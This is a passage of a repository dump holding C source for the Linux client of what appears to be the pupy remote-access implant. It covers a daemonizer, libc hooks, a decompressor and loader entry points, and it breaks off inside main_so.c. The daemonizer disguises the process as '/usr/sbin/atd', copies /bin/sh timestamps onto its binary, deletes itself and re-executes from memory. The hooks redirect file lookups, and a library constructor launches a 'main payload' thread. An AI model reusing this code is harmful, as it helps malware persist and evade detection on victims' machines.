maximum priority value for a scheduler.  */\nextern int sched_get_priority_max (int __algorithm) __THROW;\n\n/* Get minimum priority value for a scheduler.  */\nextern int sched_get_priority_min (int __algorithm) __THROW;\n\n/* Get the SCHED_RR interval for the named process.  */\nextern int sched_rr_get_interval (__pid_t __pid, struct timespec *__t) __THROW;\n\n\n#ifdef __USE_GNU\n/* Access macros for `cpu_set'.  */\n# define CPU_SETSIZE __CPU_SETSIZE\n# define CPU_SET(cpu, cpusetp)\t __CPU_SET_S (cpu, sizeof (cpu_set_t), cpusetp)\n# define CPU_CLR(cpu, cpusetp)\t __CPU_CLR_S (cpu, sizeof (cpu_set_t), cpusetp)\n# define CPU_ISSET(cpu, cpusetp) __CPU_ISSET_S (cpu, sizeof (cpu_set_t), \\\n\t\t\t\t\t\tcpusetp)\n# define CPU_ZERO(cpusetp)\t __CPU_ZERO_S (sizeof (cpu_set_t), cpusetp)\n# define CPU_COUNT(cpusetp)\t __CPU_COUNT_S (sizeof (cpu_set_t), cpusetp)\n\n# define CPU_SET_S(cpu, setsize, cpusetp)   __CPU_SET_S (cpu, setsize, cpusetp)\n# define CPU_CLR_S(cpu, setsize, cpusetp)   __CPU_CLR_S (cpu, setsize, cpusetp)\n# define CPU_ISSET_S(cpu, setsize, cpusetp) __CPU_ISSET_S (cpu, setsize, \\\n\t\t\t\t\t\t\t   cpusetp)\n# define CPU_ZERO_S(setsize, cpusetp)\t    __CPU_ZERO_S (setsize, cpusetp)\n# define CPU_COUNT_S(setsize, cpusetp)\t    __CPU_COUNT_S (setsize, cpusetp)\n\n# define CPU_EQUAL(cpusetp1, cpusetp2) \\\n  __CPU_EQUAL_S (sizeof (cpu_set_t), cpusetp1, cpusetp2)\n# define CPU_EQUAL_S(setsize, cpusetp1, cpusetp2) \\\n  __CPU_EQUAL_S (setsize, cpusetp1, cpusetp2)\n\n# define CPU_AND(destset, srcset1, srcset2) \\\n  __CPU_OP_S (sizeof (cpu_set_t), destset, srcset1, srcset2, &)\n# define CPU_OR(destset, srcset1, srcset2) \\\n  __CPU_OP_S (sizeof (cpu_set_t), destset, srcset1, srcset2, |)\n# define CPU_XOR(destset, srcset1, srcset2) \\\n  __CPU_OP_S (sizeof (cpu_set_t), destset, srcset1, srcset2, ^)\n# define CPU_AND_S(setsize, destset, srcset1, srcset2) \\\n  __CPU_OP_S (setsize, destset, srcset1, srcset2, &)\n# define CPU_OR_S(setsize, destset, srcset1, srcset2) \\\n  __CPU_OP_S (setsize, destset, srcset1, srcset2, |)\n# define CPU_XOR_S(setsize, destset, srcset1, srcset2) \\\n  __CPU_OP_S (setsize, destset, srcset1, srcset2, ^)\n\n# define CPU_ALLOC_SIZE(count) __CPU_ALLOC_SIZE (count)\n# define CPU_ALLOC(count) __CPU_ALLOC (count)\n# define CPU_FREE(cpuset) __CPU_FREE (cpuset)\n\n#define __NR_sched_setaffinity\t\t203\n#define __NR_sched_getaffinity\t\t204\n\n#include <sys/syscall.h>\n#include <limits.h>\n\n#define MIN(a, b) (((a) < (b)) ? (a) : (b))\n\nstatic inline\nint sched_setaffinity (pid_t pid, size_t cpusetsize, const cpu_set_t *cpuset)\n{\n    return syscall(__NR_sched_setaffinity, 3, pid, cpusetsize, cpuset);\n}\n\nstatic inline\nint sched_getaffinity (pid_t pid, size_t cpusetsize, const cpu_set_t *cpuset)\n{\n    int res = syscall(__NR_sched_getaffinity, pid, MIN(INT_MAX, cpusetsize), cpuset);\n    if (res != -1) {\n        memset ((char *) cpuset + res, '\\0', cpusetsize - res);\n        res = 0;\n    }\n    return res;\n}\n\n#endif\n\n__END_DECLS\n\n#endif /* sched.h */\n"
  },
  {
    "path": "client/sources-linux-py3/daemonize.c",
    "content": "#define _GNU_SOURCE\n\n#include <stdlib.h>\n#include <sys/types.h>\n#include <sys/wait.h>\n#include <limits.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <fcntl.h>\n#include <unistd.h>\n#include <utime.h>\n#include <sys/stat.h>\n#include <string.h>\n#include <errno.h>\n\n#ifdef Linux\n#include <linux/fs.h>\n#include <sys/prctl.h>\n#include \"memfd.h\"\n#include \"tmplibrary.h\"\n#endif\n\n#ifndef DEFAULT_MTIME_FROM\n#define DEFAULT_MTIME_FROM \"/bin/sh\"\n#endif\n\n#ifndef DEFAULT_ARGV0\n#define DEFAULT_ARGV0 \"/usr/sbin/atd\"\n#endif\n\n#ifdef USE_ENV_ARGS\n#ifndef DEFAULT_ENV_SA0\n#define DEFAULT_ENV_SA0 \"__SA0\"\n#endif\n\n#ifndef DEFAULT_ENV_SCWD\n#define DEFAULT_ENV_SCWD \"__SCWD\"\n#endif\n\n#ifndef DEFAULT_ENV_CLEANUP\n#define DEFAULT_ENV_CLEANUP \"__CLEANUP\"\n#endif\n\n#ifndef DEFAULT_ENV_MOVE\n#define DEFAULT_ENV_MOVE \"__MOVE\"\n#endif\n\n#endif\n\n#ifndef DEFAULT_SAFE_PATH\n#define DEFAULT_SAFE_PATH \"/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin\"\n#endif\n\n#ifndef __O_CLOEXEC\n# define __O_CLOEXEC   02000000\n#endif\n\n#ifndef O_CLOEXEC\n# define O_CLOEXEC  __O_CLOEXEC\n#endif\n\n#include \"daemonize.h\"\n\npid_t daemonize(int *main_argc, char ***main_argv, char *env[], bool exit_parent) {\n    pid_t pid;\n    int pipes[2];\n    char *set_argv0 = NULL;\n\n    int argc = *main_argc;\n    char **argv = *main_argv;\n\n#ifdef Linux\n    setresuid(0, 0, 0);\n#else\n    setuid(0);\n#endif\n\n    bool triple_fork = true;\n\n    /* If we are launched directly from the init - don't do the triple fork\n       dance. This is important in case we are launched from upstart */\n\n    if (getppid() == 1 || getenv(\"INVOCATION_ID\") != NULL)\n        triple_fork = false;\n\n    /* Cleanup environment and reexec */\n    char self[PATH_MAX] = {};\n    char *fd_str = getenv(\"_\");\n    int fdenv = -1;\n\n    if (fd_str) {\n        char *end = NULL;\n        errno = 0;\n        fdenv = strtol(fd_str, &end, 10);\n        if ((end == fd_str) || errno) {\n            fdenv = -1;\n        }\n    }\n\n    if (triple_fork && exit_parent && fdenv < 0 && readlink(\"/proc/self/exe\", self, sizeof(self)-1) != -1) {\n#ifdef USE_ENV_ARGS\n        set_argv0 = getenv(DEFAULT_ENV_SA0);\n        char *set_cwd = getenv(DEFAULT_ENV_SCWD);\n        char *cleanup = getenv(DEFAULT_ENV_CLEANUP);\n        char *move = getenv(DEFAULT_ENV_MOVE);\n        char *mtime_from = DEFAULT_MTIME_FROM;\n#else\n        char *set_cwd = NULL;\n        char *move = NULL;\n        char *mtime_from = DEFAULT_MTIME_FROM;\n\n        bool cleanup = false;\n\n        char c;\n\n        while ((c = getopt (argc, argv, \"0:t:c:m:C\")) != -1)\n            switch (c) {\n            case '0': set_argv0 = optarg; break;\n            case 't': mtime_from = optarg; break;\n            case 'c': set_cwd = optarg; break;\n            case 'm': move = optarg; break;\n            case 'C': cleanup = true; break;\n            };\n#endif\n\n        putenv(\"_=0\");\n\n        int fd = -1;\n\n#ifdef Linux\n        if (strstr(self, \"/memfd\")) {\n            snprintf(self, sizeof(self), \"/proc/%d/exe\", getpid());\n        }\n#endif\n\n        struct stat _stat = {};\n        stat(mtime_from, &_stat);\n\n        if (move) {\n            fd = open(self, O_RDONLY);\n            unlink(move);\n            int fd2 = open(move, O_RDWR | O_CREAT, 0700);\n            if (fd2 == -1) {\n                move = NULL;\n            } else {\n                for (;;) {\n                    char buffer[4096] = {};\n                    int r = read(fd, buffer, sizeof(buffer));\n                    if (r <= 0) {\n                        close(fd);\n                        if (r == -1) {\n                            unlink(move);\n                            move = NULL;\n                        } else {\n                            unlink(self);\n                            fchmod(fd2, 0511);\n                            fchown(fd2, 0, 0);\n\n                            if (_stat.st_mtime) {\n                                struct utimbuf _times = {\n                                    .actime = _stat.st_atime,\n                                    .modtime = _stat.st_mtime,\n                                };\n\n                                utime(move, &_times);\n                            }\n                        }\n                        close(fd2);\n                        break;\n                    }\n                    int w = write(fd2, buffer, r);\n                    if (w < 0) {\n                        close(fd2);\n                        close(fd);\n                        unlink(move);\n                        move = NULL;\n                        break;\n                    }\n                }\n            }\n        }\n\n        fd = open(move? move:self, O_CLOEXEC | O_RDONLY);\n        if (fd == -1) {\n            fd = open(move? move:self, O_RDONLY);\n        }\n\n        int envpipe[2] = {};\n\n        if (fd != -1) {\n            if (cleanup) {\n                unlink(move? move:self);\n            }\n\n            int fake_argc = 2 + (argc - optind);\n            char **fake_argv = malloc(fake_argc * sizeof(char *));\n            fake_argv[0] = set_argv0? set_argv0 : DEFAULT_ARGV0;\n            fake_argv[fake_argc] = NULL;\n\n            for (int i=optind,idx=1; i<argc; i++, idx++) {\n                fake_argv[idx] = argv[i];\n            }\n\n            char fdenv_pass[PATH_MAX] = {};\n            int r = pipe(envpipe);\n\n            snprintf(fdenv_pass, sizeof(fdenv_pass), \"_=%d\", r? 0: envpipe[0]);\n\n            char *const env[] = {\n                r == 0? fdenv_pass : NULL,\n                NULL\n            };\n\n            chdir(set_cwd? set_cwd : \"/\");\n\n            pid_t next = fork();\n            if (next == 0 || next == -1) {\n                if (r == 0)\n                    close(envpipe[1]);\n\n#ifdef Linux\n                fexecve(fd, fake_argv, env);\n                /* We shouldn't be here */\n#endif\n                execve(move? move:self, fake_argv, env);\n            }\n\n            if (r == 0)\n                close(envpipe[0]);\n        }\n        close(fd);\n\n        int idx = 0;\n        for (idx=0;env[idx];idx++) {\n            unsigned int size = strlen(env[idx]);\n            int r = write(envpipe[1], &size, 4);\n            if (r != 4) {\n                break;\n            }\n            r = write(envpipe[1], env[idx], size);\n            if (r != size) {\n                break;\n            }\n        }\n\n        // Pass original ARGC/ARGV\n        int end_of_env = 0xAAAAAAAA;\n        write(envpipe[1], &end_of_env, 4);\n        write(envpipe[1], &argc, 4);\n\n        for (idx=0; idx<argc; idx++) {\n            unsigned int size = strlen(argv[idx]);\n            int r = write(envpipe[1], &size, 4);\n            if (r != 4) {\n                break;\n            }\n\n            r = write(envpipe[1], argv[idx], size);\n            if (r != size) {\n                break;\n            }\n        }\n\n        close(envpipe[1]);\n        exit(0);\n    }\n\n    if (fdenv > 0) {\n        int end_of_args_found = 0;\n\n        for (;;) {\n            unsigned int size = 0;\n            int r = read(fdenv, &size, 4);\n            if (r != 4) {\n                break;\n            }\n\n            if (size == 0xAAAAAAAA) {\n                end_of_args_found = 1;\n                break;\n            }\n\n            char envstr[PATH_MAX] = {};\n            if (size > PATH_MAX-1) {\n                break;\n            }\n\n            r = read(fdenv, envstr, size);\n            if (!r || r != size) {\n                break;\n            }\n\n            envstr[size] = '\\0';\n            r = putenv(strdup(envstr));\n        }\n\n        if (end_of_args_found) {\n            int new_argc = 0;\n            char **new_argv = 0;\n            int argc_ok = 0;\n            int r = read(fdenv, &new_argc, 4);\n            if (r == 4 && new_argc > 0 && new_argc < 256) {\n                int idx;\n                argc_ok = 1;\n                new_argv = (char **) malloc(sizeof(char *) * (new_argc + 1));\n                for (idx=0; idx<new_argc; idx++) {\n                     int size = 0;\n                     r = read(fdenv, &size, 4);\n                     if (r != 4) {\n                         argc_ok = 0;\n                         break;\n                     }\n                     new_argv[idx] = (char *) malloc(size+1);\n                     if (new_argv[idx] == NULL) {\n                         argc_ok = 0;\n                         break;\n                     }\n                     r = read(fdenv, new_argv[idx], size);\n                     if (r != size) {\n                         argc_ok = 0;\n                         break;\n                     }\n                     new_argv[idx][size] = '\\0';\n                }\n\n                new_argv[idx] = NULL;\n            }\n\n            if (argc_ok) {\n                *main_argc = new_argc;\n                *main_argv = new_argv;\n            }\n        }\n\n        close(fdenv);\n    }\n\n    /* Daemonize */\n    if (!exit_parent) {\n        if (pipe(pipes) == -1) {\n            return -1;\n        }\n    }\n\n    /* create new process */\n    pid = fork();\n    if (pid == -1)\n        return -1;\n\n    else if (pid != 0) {\n        if (exit_parent) {\n            exit (EXIT_SUCCESS);\n        } else {\n            int status;\n            waitpid(pid, &status, 0);\n            if (read(pipes[0], &pid, sizeof(pid)) != sizeof(pid))\n                pid = -1;\n\n            return pid;\n        }\n    }\n\n    if (triple_fork) {\n        /* Fork once again */\n        pid = fork();\n        if (pid == -1) {\n            if (!exit_parent) {\n                close(pipes[1]);\n            }\n\n            return -1;\n        }\n\n        else if (pid != 0) {\n            exit (EXIT_SUCCESS);\n        }\n    }\n\n    setenv(\"_\", argv[0], 1);\n\n    if (!exit_parent) {\n        pid_t current_pid = getpid();\n        write(pipes[1], &current_pid, sizeof(current_pid));\n        close(pipes[1]);\n    }\n\n    /* create new session and process group */\n    if (setsid ( ) == -1)\n        return -1;\n\n#ifndef DEBUG\n    /* close all open files--NR_OPEN is overkill, but works */\n    int i;\n\n    for (i = 0; i < sysconf(_SC_OPEN_MAX); i++)\n        close (i);\n\n    /* redirect fd's 0,1,2 to /dev/null */\n    open (\"/dev/null\", O_RDWR);\n    /* stdin */\n    dup (0);\n    /* stdout */\n    dup (0);\n    /* stderror */\n\n#ifdef Linux\n    prctl(4, 0, 0, 0, 0);\n    prctl(31, 0, 0, 0, 0);\n\n    int exe_fd = open(argv[0], O_RDONLY);\n    if (exe_fd != -1) {\n        remap(\"/proc/self/exe\");\n        prctl(35, 13, exe_fd, 0, 0);\n        close(exe_fd);\n    }\n#endif\n#endif\n\n    /* do its daemon thing... */\n    return 0;\n}\n"
  },
  {
    "path": "client/sources-linux-py3/daemonize.h",
    "content": "#ifndef DAEMONIZE_H\n#define DAEMONIZE_H\n\n#include <unistd.h>\n#include <stdbool.h>\n#include <sys/types.h>\n\npid_t daemonize(int *argc, char **argv[], char *env[], bool exit_parent);\n\n#endif /* DAEMONIZE_H */\n"
  },
  {
    "path": "client/sources-linux-py3/decompress.c",
    "content": "#include <zlib.h>\n#include \"decompress.h\"\n\n/* Zpipe code */\n\n#define CHUNK 8196\n\nint decompress(int fd, const char *buf, size_t size) {\n    int ret;\n    unsigned have;\n    z_stream strm;\n    unsigned char out[CHUNK];\n\n    /* allocate inflate state */\n    strm.zalloc = Z_NULL;\n    strm.zfree = Z_NULL;\n    strm.opaque = Z_NULL;\n    strm.avail_in = 0;\n    strm.next_in = Z_NULL;\n    ret = inflateInit2(&strm, 15+32);\n\n    if (ret != Z_OK)\n        return ret;\n\n    /* decompress until deflate stream ends or end of file */\n    do {\n        strm.avail_in = size < CHUNK? size : CHUNK;\n        if (strm.avail_in == 0)\n            break;\n\n        strm.next_in = (unsigned char *) buf;\n\n        buf += strm.avail_in;\n        size -= strm.avail_in;\n\n        do {\n            strm.avail_out = CHUNK;\n            strm.next_out = out;\n            ret = inflate(&strm, Z_NO_FLUSH);\n            switch (ret) {\n            case Z_NEED_DICT:\n                ret = Z_DATA_ERROR;     /* and fall through */\n            case Z_DATA_ERROR:\n            case Z_MEM_ERROR:\n                (void)inflateEnd(&strm);\n                return ret;\n            }\n            have = CHUNK - strm.avail_out;\n            unsigned char *ptr = out;\n            while (have) {\n                int n = write(fd, ptr, have);\n                if (n == -1) {\n                    (void)inflateEnd(&strm);\n                    return Z_ERRNO;\n                }\n                have -= n;\n                ptr += n;\n            }\n\n        } while (strm.avail_out == 0);\n\n        /* done when inflate() says it's done */\n    } while (ret != Z_STREAM_END);\n\n    /* clean up and return */\n    (void)inflateEnd(&strm);\n    return ret == Z_STREAM_END ? Z_OK : Z_DATA_ERROR;\n}\n"
  },
  {
    "path": "client/sources-linux-py3/decompress.h",
    "content": "#ifndef DECOMPRESS_H\n#define DECOMPRESS_H\n\nint decompress(int fd, const char *buf, size_t size);\n\n#endif /* DECOMPRESS_H */\n"
  },
  {
    "path": "client/sources-linux-py3/docker/pyenv-setup-build.patch",
    "content": "--- Modules/Setup\t2023-08-25 15:57:16.039376911 +0000\n+++ Modules/Setup.new\t2023-08-25 15:59:07.427185196 +0000\n@@ -107,7 +107,6 @@\n \t\t\t\t\t# if $HOME is not set\n _sre -DPy_BUILD_CORE_BUILTIN _sre.c\t# Fredrik Lundh's new regular expressions\n _codecs _codecsmodule.c\t\t\t# access to the builtin codecs and codec registry\n-_weakref _weakref.c\t\t\t# weak references\n _functools -DPy_BUILD_CORE_BUILTIN -I$(srcdir)/Include/internal _functoolsmodule.c   # Tools for working with functions and callable objects\n _operator -DPy_BUILD_CORE_BUILTIN _operator.c\t        \t# operator.add() and similar goodies\n _collections _collectionsmodule.c\t# Container types\n@@ -118,6 +117,24 @@\n _stat _stat.c\t\t\t\t# stat.h interface\n time -DPy_BUILD_CORE_BUILTIN -I$(srcdir)/Include/internal timemodule.c\t# -lm # time operations and variables\n _thread -DPy_BUILD_CORE_BUILTIN -I$(srcdir)/Include/internal _threadmodule.c\t# low-level threading interface\n+_struct -DPy_BUILD_CORE_BUILTIN _struct.c\t# binary structure packing/unpacking\n+_pickle -DPy_BUILD_CORE_BUILTIN _pickle.c\t# pickle accelerator\n+_random _randommodule.c -DPy_BUILD_CORE_BUILTIN\t# Random number generator\n+math mathmodule.c _math.c -DPy_BUILD_CORE_BUILTIN # -lm # math library functions, e.g. sin()\n+zlib zlibmodule.c -I$(prefix)/include -L$(exec_prefix)/lib -lz -DPy_BUILD_CORE_BUILTIN\n+_sha1 sha1module.c -DPy_BUILD_CORE_BUILTIN\n+_sha256 sha256module.c -DPy_BUILD_CORE_BUILTIN\n+_sha512 sha512module.c -DPy_BUILD_CORE_BUILTIN\n+_md5 md5module.c -DPy_BUILD_CORE_BUILTIN\n+_posixsubprocess _posixsubprocess.c -DPy_BUILD_CORE_BUILTIN # POSIX subprocess module helper\n+unicodedata unicodedata.c -DPy_BUILD_CORE_BUILTIN   # static Unicode character database\n+_socket socketmodule.c -DPy_BUILD_CORE_BUILTIN \n+select selectmodule.c -DPy_BUILD_CORE_BUILTIN \n+mmap mmapmodule.c -DPy_BUILD_CORE_BUILTIN \n+_weakref _weakref.c  -DPy_BUILD_CORE_BUILTIN \n+binascii binascii.c  -DPy_BUILD_CORE_BUILTIN \n+fcntl fcntlmodule.c  -DPy_BUILD_CORE_BUILTIN \n+array arraymodule.c -DPy_BUILD_CORE_BUILTIN \n \n # access to ISO C locale support\n _locale -DPy_BUILD_CORE_BUILTIN _localemodule.c  # -lintl\n"
  },
  {
    "path": "client/sources-linux-py3/fixes.c",
    "content": "#include <limits.h>\n#include <stdlib.h>\n#include <string.h>\n#include \"memfd.h\"\n\nchar *__real_realpath(const char *path, char *resolved_path);\n\nchar *__wrap_realpath(const char *path, char *resolved_path) {\n        if (is_memfd_path(path)) {\n                memcpy(resolved_path, path, strlen(path) + 1);\n                return resolved_path;\n        }\n\n        return __real_realpath(path, resolved_path);\n}\n"
  },
  {
    "path": "client/sources-linux-py3/fixes.h",
    "content": "#ifndef ___FIXES_H\n#define ___FIXES_H\n\n#include <linux/limits.h>\n#include <string.h>\n#include <sys/ptrace.h>\n\n#ifndef PTRACE_GETSIGINFO\n#define PTRACE_GETSIGINFO 0x4202\n#endif\n\n#ifndef EM_AARCH64\n#define EM_AARCH64\t\t183\n#endif\n\n#endif\n"
  },
  {
    "path": "client/sources-linux-py3/ld_hooks.c",
    "content": "#define _GNU_SOURCE\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <fcntl.h>\n#include <dlfcn.h>\n#include <stdarg.h>\n#include <sys/types.h>\n#include <errno.h>\n\n#include \"debug.h\"\n#include \"ld_hooks.h\"\n\n#define export __attribute__((visibility(\"default\")))\n\nstatic int (*global_open)(const char *pathname, int flags, ...) = NULL;\nstatic int (*global_open64)(const char *pathname, int flags, ...) = NULL;\nstatic int (*global_openat)(int dirfd, const char *pathname, int flags, ...) = NULL;\nstatic int (*global_openat64)(int dirfd, const char *pathname, int flags, ...) = NULL;\nstatic FILE *(*global_fopen)(const char *pathname, const char *mode) = NULL;\nstatic FILE *(*global_fopen64)(const char *pathname, const char *mode) = NULL;\n\nstatic int (*global__lxstat)(int ver, const char * path, struct stat* stat_buf) = NULL;\nstatic int (*global__xstat)(int ver, const char * path, struct stat * stat_buf) = NULL;\nstatic int (*global__lxstat64)(int ver, const char * path, struct stat64 * stat_buf) = NULL;\nstatic int (*global__xstat64)(int ver, const char * path, struct stat64 * stat_buf) = NULL;\n\nstatic cb_hooks_t __pathmap_callback = NULL;\n\n#ifndef O_TMPFILE\n#define O_TMPFILE 020000000\n#endif\n\n#ifndef PATH_MAX\n#define PATH_MAX 4096\n#endif\n\n#ifdef _LD_HOOKS_NAME\nexport\n#endif\nvoid set_pathmap_callback(cb_hooks_t cb)\n{\n    __pathmap_callback = cb;\n    dprint(\"ldhooks:set_callback(%p)\\n\", __pathmap_callback);\n}\n\n#define define_mapped_path(mapped_path, path) \\\n    char buf[PATH_MAX] = {};                  \\\n    const char *mapped_path = __pathmap_callback? \\\n        __pathmap_callback(path, buf, sizeof(buf)) : path\n\nexport int __lxstat(int ver, const char * path, struct stat* stat_buf)\n{\n    define_mapped_path(mapped_path, path);\n\n    dprint(\"ldhooks:__lxstat(%d, %s (%s), %p) @ %p\\n\", ver, path, mapped_path,\n        stat_buf, __pathmap_callback);\n\n    if (!global__lxstat || !mapped_path) {\n        errno = ENOENT;\n        return -1;\n    }\n\n    return global__lxstat(ver, mapped_path, stat_buf);\n}\n\nexport int __lxstat64(int ver, const char * path, struct stat64* stat_buf)\n{\n    define_mapped_path(mapped_path, path);\n\n    dprint(\"ldhooks:__lxstat64(%d, %s (%s), %p) @ $p\\n\", ver, path,\n        mapped_path, stat_buf, __pathmap_callback);\n    if (!global__lxstat || !mapped_path) {\n        errno = ENOENT;\n        return -1;\n    }\n\n    return global__lxstat64(ver, mapped_path, stat_buf);\n}\n\nexport int __xstat(int ver, const char * path, struct stat* stat_buf)\n{\n    define_mapped_path(mapped_path, path);\n\n    dprint(\"ldhooks:__xstat(%d, %s (%s), %p)\\n\", ver, path, mapped_path, stat_buf);\n    if (!global__xstat || !mapped_path) {\n        errno = ENOENT;\n        return -1;\n    }\n\n    return global__xstat(ver, mapped_path, stat_buf);\n}\n\nexport int __xstat64(int ver, const char * path, struct stat64* stat_buf)\n{\n    define_mapped_path(mapped_path, path);\n\n    dprint(\"ldhooks:__xstat64(%d, %s (%s), %p)\\n\", ver, path, mapped_path, stat_buf);\n    if (!global__xstat) {\n        errno = ENOENT;\n        return -1;\n    }\n\n    return global__xstat64(ver, mapped_path, stat_buf);\n}\n\nexport int open(const char *pathname, int flags, ...)\n{\n    int ret = -1;\n    va_list args;\n    va_start(args, flags);\n    define_mapped_path(mapped_path, pathname);\n\n    dprint(\"ldhooks:open(%s (%s), %08x)\\n\", pathname, mapped_path, flags);\n\n    if (!global_open || !mapped_path) {\n        errno = ENOENT;\n    } else {\n        if (flags & (O_CREAT | O_TMPFILE)) {\n            mode_t mode = va_arg(args, mode_t);\n            ret = global_open(mapped_path, flags, mode);\n        } else {\n            ret = global_open(mapped_path, flags);\n        }\n    }\n\n    va_end(args);\n    return ret;\n}\n\nexport int open64(const char *pathname, int flags, ...)\n{\n    int ret = -1;\n    va_list args;\n    va_start(args, flags);\n    define_mapped_path(mapped_path, pathname);\n\n    dprint(\"ldhooks:open64(%s (%s), %08x)\\n\", pathname, mapped_path, flags);\n\n    if (!global_open64 || !mapped_path) {\n        errno = ENOENT;\n    } else {\n        if (flags & (O_CREAT | O_TMPFILE)) {\n            mode_t mode = va_arg(args, mode_t);\n            ret = global_open64(mapped_path, flags, mode);\n        } else {\n            ret = global_open64(mapped_path, flags);\n        }\n    }\n\n    va_end(args);\n    return ret;\n}\n\nexport int openat(int dirfd, const char *pathname, int flags, ...)\n{\n    int ret = -1;\n    va_list args;\n    va_start(args, flags);\n    define_mapped_path(mapped_path, pathname);\n\n    dprint(\"ldhooks:openat(%d, %s (%s), %08x)\\n\", dirfd, mapped_path, pathname, flags);\n\n    if (!global_openat || !mapped_path) {\n        errno = ENOENT;\n    } else {\n        if (flags & (O_CREAT | O_TMPFILE)) {\n            mode_t mode = va_arg(args, mode_t);\n            ret = global_openat(dirfd, mapped_path, flags, mode);\n        } else {\n            ret = global_openat(dirfd, mapped_path, flags);\n        }\n    }\n\n    va_end(args);\n    return ret;\n}\n\nexport int openat64(int dirfd, const char *pathname, int flags, ...)\n{\n    int ret = -1;\n    va_list args;\n    va_start(args, flags);\n    define_mapped_path(mapped_path, pathname);\n\n    dprint(\"ldhooks:openat64(%d, %s (%s), %08x)\\n\", dirfd, pathname, mapped_path, flags);\n\n    if (!global_openat64 || !mapped_path) {\n        errno = ENOENT;\n    } else {\n        if (flags & (O_CREAT | O_TMPFILE)) {\n            mode_t mode = va_arg(args, mode_t);\n            ret = global_openat64(dirfd, mapped_path, flags, mode);\n        } else {\n            ret = global_openat64(dirfd, mapped_path, flags);\n        }\n    }\n\n    va_end(args);\n    return ret;\n}\n\nexport FILE *fopen(const char *pathname, const char *mode)\n{\n    define_mapped_path(mapped_path, pathname);\n\n    dprint(\"ldhooks:fopen(%s (%s), %s)\\n\", pathname, mapped_path, mode);\n\n    if (!global_fopen || !mapped_path) {\n        errno = ENOENT;\n        return NULL;\n    }\n\n    return global_fopen(mapped_path, mode);\n}\n\nexport FILE *fopen64(const char *pathname, const char *mode)\n{\n    define_mapped_path(mapped_path, pathname);\n    dprint(\"ldhooks:fopen64(%s (%s), %s) @ %p\\n\", pathname,\n        mapped_path, mode, __pathmap_callback);\n\n    if (!global_fopen64 || !mapped_path) {\n        errno = ENOENT;\n        return NULL;\n    }\n\n    return global_fopen64(mapped_path, mode);\n}\n\n#ifdef _LD_HOOKS_NAME\nstatic\n#endif\nvoid _ld_hooks_main(int argc, char *argv[], char *envp[])\n{\n    dprint(\"ldhooks: initialize targets\\n\");\n\n    global_fopen = dlsym(RTLD_NEXT, \"fopen\");\n    global_fopen64 = dlsym(RTLD_NEXT, \"fopen64\");\n    global_open = dlsym(RTLD_NEXT, \"open\");\n    global_open64 = dlsym(RTLD_NEXT, \"open64\");\n    global_openat = dlsym(RTLD_NEXT, \"openat\");\n    global_openat64 = dlsym(RTLD_NEXT, \"openat64\");\n    global__lxstat64 = dlsym(RTLD_NEXT, \"__lxstat64\");\n    global__lxstat = dlsym(RTLD_NEXT, \"__lxstat\");\n    global__xstat64 = dlsym(RTLD_NEXT, \"__xstat64\");\n    global__xstat = dlsym(RTLD_NEXT, \"__xstat\");\n}\n\n#ifdef _LD_HOOKS_NAME\n__attribute__((section(\".init_array\"))) void (*ld_hooks_main)(int, char *[], char *[]) = _ld_hooks_main;\n#endif\n"
  },
  {
    "path": "client/sources-linux-py3/ld_hooks.h",
    "content": "#ifndef LD_HOOKS_H\n#define LD_HOOKS_H\n\n#include <sys/types.h>\n\ntypedef const char * (*cb_hooks_t)(const char *path, char *buf, size_t buf_size);\nvoid set_pathmap_callback(cb_hooks_t cb);\n\n#ifndef _LD_HOOKS_NAME\nvoid _ld_hooks_main(int argc, char *argv[], char *envp[]);\n#endif\n\n#endif\n"
  },
  {
    "path": "client/sources-linux-py3/main_exe.c",
    "content": "#include <sys/types.h>\n#include <unistd.h>\n\n#include \"pupy_load.h\"\n#include \"daemonize.h\"\n\n#ifdef Linux\n#include <mcheck.h>\n#endif\n\nint main(int argc, char *argv[], char *env[]) {\n#ifndef DEBUG\n    daemonize(&argc, &argv, env, true);\n#else\n#ifdef Linux\n    mtrace();\n#endif\n#endif\n    return mainThread(argc, argv, false);\n}\n\nvoid setup_jvm_class(void) {}\n"
  },
  {
    "path": "client/sources-linux-py3/main_so.c",
    "content": "#define _GNU_SOURCE\n#include <stdlib.h>\n#include <pthread.h>\n#include <unistd.h>\n#include <string.h>\n\n#include <dlfcn.h>\n\n#include \"pupy_load.h\"\n#include \"tmplibrary.h\"\n#include \"debug.h\"\n\n#include \"Python-dynload.h\"\n#include \"jni_on_load.c\"\n\nstatic pthread_t thread_id;\n\nstatic int __argc = 0;\nstatic char ** __argv = NULL;\nstatic int __to_wait = 0;\nstatic int __unmapped = -1;\n\nstatic void *\nthread_start(void *arg) {\n    /*\n     * We start from unstable state, no way to know\n     * when libraries were fully loaded. While horribly racy,\n     * sleep is better then nothing.\n     */\n\n    dprint(\"Launch dedicated thread\\n\");\n\n    sleep(1);\n\n#if defined(Linux) && defined(WIP_LMID)\n    /*\n     * Remap may be possible only after library load,\n     */\n\n    if (__unmapped != 0) {\n        dprint(\"Try to remap again\\n\");\n\n        struct link_map *link_map = NULL;\n        void *self = dlopen(0, RTLD_LAZY);\n        dprint(\"SELF: %p\\n\", self);\n\n        if (self && dlinfo(self, RTLD_DI_LINKMAP, &link_map) == 0) {\n            dprint(\"Library path: '%s'\\n\", link_map->l_name);\n            if (link_map->l_name) {\n                __unmapped = remap(link_map->l_name);\n            }\n        }\n    }\n#endif\n\n    dprint(\"Starting main payload\\n\");\n    mainThread(__argc, __argv, true);\n    return NULL;\n}\n\nstatic void\nunloader(void) {\n    dprint(\"Wait until pupy thread exits\\n\");\n    pthread_join(thread_id, NULL);\n    dprint(\"Sutting down\\n\");\n}\n\nstatic void\n__handle_exit(int status) {\n    dprint(\"Catch exit (%d)\\n\", __to_wait);\n    __attribute__((noreturn))\n        void (*orig_exit)(int status) = dlsym(RTLD_NEXT, \"_exit\");\n\n    if (__to_wait) {\n        dprint(\"Hook exit\\n\");\n        unloader();\n    }\n\n    orig_exit(status);\n}\n\nstatic void\n__atexit() {\n    dprint(\"At exit\\n\");\n    __handle_exit(0);\n}\n\nstatic void\n__on_exit(int status, void *data) {\n    dprint(\"On exit\\n\");\n    __handle_exit(status);\n}\n\nstatic void\n_pupy_main(int argc, char* argv[], char* envp[]) {\n    dprint(\"pupy loader ctor called\\n\");\n    dprint(\"fill_argv called: %d/%p/%p\\n\", argc, argv, envp);\n#ifdef DEBUG\n    int i;\n    for (i=0; i<argc; i++) 